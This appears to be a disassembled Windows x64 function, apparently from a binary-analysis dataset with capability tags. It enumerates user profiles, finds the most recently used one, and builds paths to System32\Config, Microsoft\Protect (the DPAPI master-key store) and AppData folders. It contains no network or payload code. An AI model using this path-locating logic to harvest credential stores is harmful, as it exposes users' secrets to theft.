Function at 0x1400024f8
Capabilities:
Check if file exists
Enumerate files on windows
Get common file path
Get file attributes

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
push rsi
push rdi
push r12
push r13
push r14
mov eax, 0x1b70
call fcn.140019520
sub rsp, rax
mov rbp, rdx
mov rdi, rcx
xor r13d, r13d
mov word [rcx], r13w
xor edx, edx
mov r8d, 0x124c
add rcx, 8
call sub.msvcrt.dll_memset
lea rcx, [rsp + 0x652]
xor edx, edx
mov r8d, 0x208
mov word [rsp + 0x650], r13w
call sub.msvcrt.dll_memset
cmp word [0x140021af0], r13w
mov r14d, 0x104
lea r12, [0x140021af0]
jne 0x14000261d
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
call fcn.14000a964
mov edx, r14d
mov rcx, r12
cmp eax, r13d
je 0x140002611
call qword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
mov rcx, r12
call sub.msvcrt.dll_wcslen
cmp eax, r13d
jle 0x1400025b8
cdqe
cmp word [r12 + rax*2 - 2], 0x5c
je 0x1400025b8
lea rdx, [0x14001b178]
mov rcx, r12
call sub.msvcrt.dll_wcscat
mov rcx, r12
call sub.msvcrt.dll_wcslen
lea rsi, str.Sysnative
mov rcx, rsi
mov rbx, rax
call sub.msvcrt.dll_wcslen
lea ecx, [rax + rbx]
cmp ecx, r14d
jge 0x1400025eb
movsxd rax, ebx
mov rdx, rsi
lea rcx, [r12 + rax*2]
call sub.msvcrt.dll_wcscat
jmp 0x140002607
sub eax, ecx
add eax, r14d
cmp eax, r13d
jle 0x140002607
movsxd r8, eax
movsxd rax, ebx
mov rdx, rsi
lea rcx, [r12 + rax*2]
call sub.msvcrt.dll_wcsncat
mov rcx, r12
call sub.msvcrt.dll_wcslen
jmp 0x140002617
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
mov dword [0x140021cfc], eax
lea rcx, [rdi + 0x1046]
mov rdx, r12
call fcn.14001916a
cmp rbp, r13
jne 0x140002659
lea rdx, [rdi + 0x1046]
lea rcx, [rsp + 0x650]
mov r8d, r14d
call fcn.140009ff4
mov word [rsp + 0x656], r13w
lea rbp, [rsp + 0x650]
lea rdx, [rdi + 0x1046]
mov r8d, 3
mov rcx, rbp
call sub.msvcrt.dll__wcsnicmp
cmp eax, r13d
jne 0x14000267f
mov dword [rdi + 0x1250], 1
jmp 0x1400026c7
mov rcx, rbp
call sub.msvcrt.dll_wcslen
lea rcx, str.WindowsSystem32
mov rbx, rax
call sub.msvcrt.dll_wcslen
lea rcx, [rbx + rax + 1]
cmp rcx, r14
jae 0x1400026b8
lea r8, [rdi + 0x1046]
lea rdx, str.WindowsSystem32
mov rcx, rbp
call fcn.14000a2f4
jmp 0x1400026c0
mov word [rdi + 0x1046], r13w
mov dword [rdi + 0x1250], r13d
cmp dword [rdi + 0x1250], r13d
jne 0x14000270d
lea rcx, [rdi + 0x1046]
call sub.msvcrt.dll_wcslen
lea rcx, str.Config
mov rbx, rax
call sub.msvcrt.dll_wcslen
lea rcx, [rbx + rax + 1]
cmp rcx, r14
jae 0x14000270d
lea rdx, str.Config
lea rcx, [rdi + 0x1046]
mov r8, rdi
call fcn.14000a2f4
jmp 0x140002711
mov word [rdi], r13w
lea rcx, [rdi + 0x1046]
call sub.msvcrt.dll_wcslen
lea rcx, str.MicrosoftProtect
mov rbx, rax
call sub.msvcrt.dll_wcslen
lea rdx, [rbx + rax + 1]
cmp rdx, r14
jae 0x140002752
lea r8, [rdi + 0x414]
lea rdx, str.MicrosoftProtect
lea rcx, [rdi + 0x1046]
call fcn.14000a2f4
jmp 0x14000275a
mov word [rdi + 0x414], r13w
cmp dword [rdi + 0x1250], r13d
je 0x14000278a
lea rcx, [rdi + 0xc32]
mov edx, 0x1a
call fcn.140018344
lea rcx, [rdi + 0xe3c]
mov edx, 0x1c
call fcn.140018344
jmp 0x140002c0f
or qword [rsp + 0xd00], 0xffffffffffffffff
lea rax, [rsp + 0xd08]
lea rcx, [rsp + 0x232]
xor edx, edx
mov r8d, 0x208
mov qword [rsp + 0x1110], rax
mov word [rsp + 0xd08], r13w
mov word [rsp + 0x176a], r13w
mov word [rsp + 0x1368], r13w
mov word [rsp + 0x230], r13w
call sub.msvcrt.dll_memset
lea rcx, [rsp + 0x22]
xor edx, edx
mov r8d, 0x208
mov word [rsp + 0x20], r13w
call sub.msvcrt.dll_memset
mov rcx, rbp
mov r12d, 1
call sub.msvcrt.dll_wcslen
lea rcx, str.Users
mov rbx, rax
call sub.msvcrt.dll_wcslen
lea rcx, [rbx + rax + 1]
cmp rcx, r14
jae 0x140002834
lea r8, [rsp + 0x230]
lea rdx, str.Users
mov rcx, rbp
call fcn.14000a2f4
jmp 0x14000283d
mov word [rsp + 0x230], r13w
lea rcx, [rsp + 0x230]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x140002896
mov rcx, rbp
mov r12d, r13d
call sub.msvcrt.dll_wcslen
lea rcx, str.Documents_And_Settings
mov rbx, rax
call sub.msvcrt.dll_wcslen
lea rcx, [rbx + rax + 1]
cmp rcx, r14
jae 0x14000288d
lea r8, [rsp + 0x230]
lea rdx, str.Documents_And_Settings
mov rcx, rbp
call fcn.14000a2f4
jmp 0x140002896
mov word [rsp + 0x230], r13w
lea r8, [rsp + 0x230]
lea rdx, [0x14001aa98]
lea rcx, [rsp + 0xd00]
call fcn.14000b1c8
xor eax, eax
mov dword [rsp + 0x1ba0], r13d
mov dword [rsp + 0x1ba4], eax
jmp 0x140002ad5
lea rcx, [rsp + 0xd00]
call fcn.14000b174
cmp eax, r13d
je 0x140002ad5
lea rdx, str.default
lea rcx, [rsp + 0x1144]
call sub.msvcrt.dll__wcsicmp
cmp eax, r13d
je 0x140002ad5
lea rdx, str.LocalService
lea rcx, [rsp + 0x1144]
call sub.msvcrt.dll__wcsicmp
cmp eax, r13d
je 0x140002ad5
lea rdx, str.All_Users
lea rcx, [rsp + 0x1144]
call sub.msvcrt.dll__wcsicmp
cmp eax, r13d
je 0x140002ad5
lea rdx, str.NetworkService
lea rcx, [rsp + 0x1144]
call sub.msvcrt.dll__wcsicmp
cmp eax, r13d
je 0x140002ad5
lea rdx, str.Default_User
lea rcx, [rsp + 0x1144]
call sub.msvcrt.dll__wcsicmp
cmp eax, r13d
je 0x140002ad5
lea rcx, [rsp + 0x442]
xor edx, edx
mov r8d, 0x208
mov word [rsp + 0x440], r13w
call sub.msvcrt.dll_memset
lea rcx, str.ntuser.dat
call sub.msvcrt.dll_wcslen
lea rcx, [rsp + 0x1368]
mov rbx, rax
call sub.msvcrt.dll_wcslen
lea rcx, [rbx + rax + 1]
cmp rcx, r14
jae 0x1400029d1
lea r8, [rsp + 0x440]
lea rdx, str.ntuser.dat
lea rcx, [rsp + 0x1368]
call fcn.14000a2f4
jmp 0x1400029da
mov word [rsp + 0x440], r13w
lea rcx, [rsp + 0xab4]
xor edx, edx
mov r8d, 0x24c
mov dword [rsp + 0xab0], r13d
call sub.msvcrt.dll_memset
lea rdx, [rsp + 0x860]
lea rcx, [rsp + 0x440]
mov esi, r13d
call qword [sym.imp.KERNEL32.dll_FindFirstFileW]
cmp rax, 0xffffffffffffffff
mov rbx, rax
je 0x140002ad5
lea rdx, [0x14001b1ec]
lea rcx, [rsp + 0x88c]
call sub.msvcrt.dll_wcscmp
cmp eax, r13d
je 0x140002a4f
lea rdx, [0x14001b1e4]
lea rcx, [rsp + 0x88c]
call sub.msvcrt.dll_wcscmp
cmp eax, r13d
jne 0x140002a67
lea rdx, [rsp + 0x860]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FindNextFileW]
cmp eax, r13d
je 0x140002a87
jmp 0x140002a1d
lea rcx, [rsp + 0xab0]
lea rdx, [rsp + 0x860]
mov r8d, 0x250
call sub.msvcrt.dll_memcpy
mov esi, 1
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FindClose]
cmp esi, r13d
je 0x140002ad5
lea rdx, [rsp + 0x1ba0]
lea rcx, [rsp + 0xac4]
call qword [sym.imp.KERNEL32.dll_CompareFileTime]
cmp eax, r13d
jle 0x140002ad5
mov rax, qword [rsp + 0xac4]
lea rdx, [rsp + 0x1368]
lea rcx, [rsp + 0x20]
mov r8d, r14d
mov qword [rsp + 0x1ba0], rax
call fcn.140009ff4
lea rcx, [rsp + 0xd00]
call fcn.14000b260
cmp eax, r13d
jne 0x1400028c8
cmp word [rsp + 0x20], r13w
je 0x140002bfb
cmp r12d, r13d
je 0x140002b71
lea rcx, str.AppDataRoaming
call sub.msvcrt.dll_wcslen
lea rcx, [rsp + 0x20]
mov rbx, rax
call sub.msvcrt.dll_wcslen
lea rcx, [rbx + rax + 1]
cmp rcx, r14
jae 0x140002b39
lea r8, [rdi + 0xc32]
lea rdx, str.AppDataRoaming
lea rcx, [rsp + 0x20]
call fcn.14000a2f4
jmp 0x140002b41
mov word [rdi + 0xc32], r13w
lea rcx, str.AppDataLocal
call sub.msvcrt.dll_wcslen
lea rcx, [rsp + 0x20]
mov rbx, rax
call sub.msvcrt.dll_wcslen
lea rcx, [rbx + rax + 1]
cmp rcx, r14
jae 0x140002bf3
lea rdx, str.AppDataLocal
jmp 0x140002be0
lea rcx, str.Application_Data
call sub.msvcrt.dll_wcslen
lea rcx, [rsp + 0x20]
mov rbx, rax
call sub.msvcrt.dll_wcslen
lea rcx, [rbx + rax + 1]
cmp rcx, r14
jae 0x140002bae
lea r8, [rdi + 0xc32]
lea rdx, str.Application_Data
lea rcx, [rsp + 0x20]
call fcn.14000a2f4
jmp 0x140002bb6
mov word [rdi + 0xc32], r13w
lea rcx, str.Local_SettingsApplication_Data
call sub.msvcrt.dll_wcslen
lea rcx, [rsp + 0x20]
mov rbx, rax
call sub.msvcrt.dll_wcslen
lea rcx, [rbx + rax + 1]
cmp rcx, r14
jae 0x140002bf3
lea rdx, str.Local_SettingsApplication_Data
lea r8, [rdi + 0xe3c]
lea rcx, [rsp + 0x20]
call fcn.14000a2f4
jmp 0x140002bfb
mov word [rdi + 0xe3c], r13w
mov rcx, qword [rsp + 0xd00]
cmp rcx, 0xffffffffffffffff
je 0x140002c0f
call qword [sym.imp.KERNEL32.dll_FindClose]
cmp word [rdi + 0xc32], r13w
je 0x140002c62
lea rcx, [rdi + 0xc32]
call sub.msvcrt.dll_wcslen
lea rcx, str.MicrosoftProtect
mov rbx, rax
call sub.msvcrt.dll_wcslen
lea r9, [rbx + rax + 1]
cmp r9, r14
jae 0x140002c5a
lea r8, [rdi + 0x20a]
lea rdx, str.MicrosoftProtect
lea rcx, [rdi + 0xc32]
call fcn.14000a2f4
jmp 0x140002c62
mov word [rdi + 0x20a], r13w
lea r11, [rsp + 0x1b70]
mov rbx, qword [r11 + 0x38]
mov rbp, qword [r11 + 0x40]
mov rsp, r11
pop r14
pop r13
pop r12
pop rdi
pop rsi
ret